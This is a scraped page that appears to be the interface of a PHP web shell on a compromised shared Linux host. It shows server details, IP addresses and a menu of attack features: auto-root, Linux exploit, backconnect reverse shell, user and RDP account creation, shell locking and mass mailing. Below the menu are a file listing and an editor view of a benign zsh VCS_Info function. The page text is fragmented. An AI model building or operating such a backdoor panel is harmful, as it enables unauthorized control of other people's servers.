Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
VCS_Info /
[ HOME SHELL ]
Name
Size
Permission
Action
Backends
[ DIR ]
drwxr-xr-x
Backends.zwc
78.81
KB
-rw-r--r--
VCS_INFO_adjust
246
B
-rw-r--r--
VCS_INFO_bydir_detect
1.2
KB
-rw-r--r--
VCS_INFO_check_com
294
B
-rw-r--r--
VCS_INFO_formats
3.86
KB
-rw-r--r--
VCS_INFO_get_cmd
233
B
-rw-r--r--
VCS_INFO_hexdump
373
B
-rw-r--r--
VCS_INFO_hook
1.64
KB
-rw-r--r--
VCS_INFO_maxexports
478
B
-rw-r--r--
VCS_INFO_nvcsformats
423
B
-rw-r--r--
VCS_INFO_patch2subject
3.11
KB
-rw-r--r--
VCS_INFO_quilt
5.65
KB
-rw-r--r--
VCS_INFO_reposub
313
B
-rw-r--r--
VCS_INFO_set
865
B
-rw-r--r--
VCS_INFO_set-patch-format
2.85
KB
-rw-r--r--
vcs_info
3.83
KB
-rw-r--r--
vcs_info_hookadd
450
B
-rw-r--r--
vcs_info_hookdel
882
B
-rw-r--r--
vcs_info_lastmsg
492
B
-rw-r--r--
vcs_info_printsys
1.27
KB
-rw-r--r--
vcs_info_setsys
598
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : VCS_INFO_patch2subject
# This function takes as an argument a filename of a patch and sets $REPLY to # a single-line "subject", or unsets it if no subject could be extracted. { setopt localoptions extendedglob integer i integer -r LIMIT=10 local -a lines local needle readonly svn_log_pattern='^r[0-9]* [|] .*' if [[ -f "$1" ]]; then # Extract the first LIMIT lines, or up to the first empty line or the start of the unidiffs, # whichever comes first. while (( i++ < LIMIT )); do IFS= read -r "lines[$i]" if [[ -z ${lines[$i]} ]] || [[ ${lines[$i]} == (#b)(---[^-]|Index:)* ]]; then lines[$i]=() break fi done < "$1" if needle=${lines[(i)Subject:*]}; (( needle <= $#lines )); then # "Subject: foo" line, plus rfc822 whitespace unfolding. # # Example: 'git format-patch' patches. REPLY=${lines[needle]} REPLY=${REPLY#*: } REPLY=${REPLY#\[PATCH\] } while [[ ${${lines[++needle]}[1]} == ' ' ]]; do REPLY+=${lines[needle]} done elif needle=${lines[(r)Description:*]}; [[ -n $needle ]]; then # "Description: foo" line. # # Example: DEP-3 patches. REPLY=${needle#*: } elif [[ ${lines[1]} == '# HG changeset patch' ]] && { needle=${${lines:#([#]*)}[1]}; [[ -n $needle ]] }; then # Mercurial patch REPLY=$needle elif [[ ${lines[1]} == "commit "[0-9a-f](#c40) ]] && [[ ${lines[2]} == "Author:"* && ${lines[3]} == "Date:"* ]] && (( ! ${+lines[4]} )); then # `git show` output. # # The log message is after the first blank line, so open() the file # again. Also check whether the following line (second line of the # log message itself) is empty. { repeat 4 { IFS= read -r } IFS= read -r needle; needle=${needle#' '} if IFS= read -r; REPLY=${REPLY#' '}; [[ -n $REPLY ]]; then needle+='...' fi } < "$1" REPLY=$needle elif [[ $lines[1] =~ $svn_log_pattern ]] || [[ $lines[2] =~ $svn_log_pattern ]]; then # Read up to the next blank line, and the first two lines after it. integer multiline=0 { while read -r needle; [[ -n $needle ]]; do done # Read the first line of the second paragraph, which is the first # line of the log message. read -r needle read -r && [[ -n $REPLY ]] && multiline=1 } < "$1" REPLY=$needle if (( multiline )); then REPLY+='...'; fi elif (( ${+lines[1]} )); then # The first line of the file is not part of the diff. REPLY=${lines[1]} else # The patch has no subject. unset REPLY return 0 fi else # The patch cannot be examined, or invalid arguments. unset REPLY return 1 fi }
Close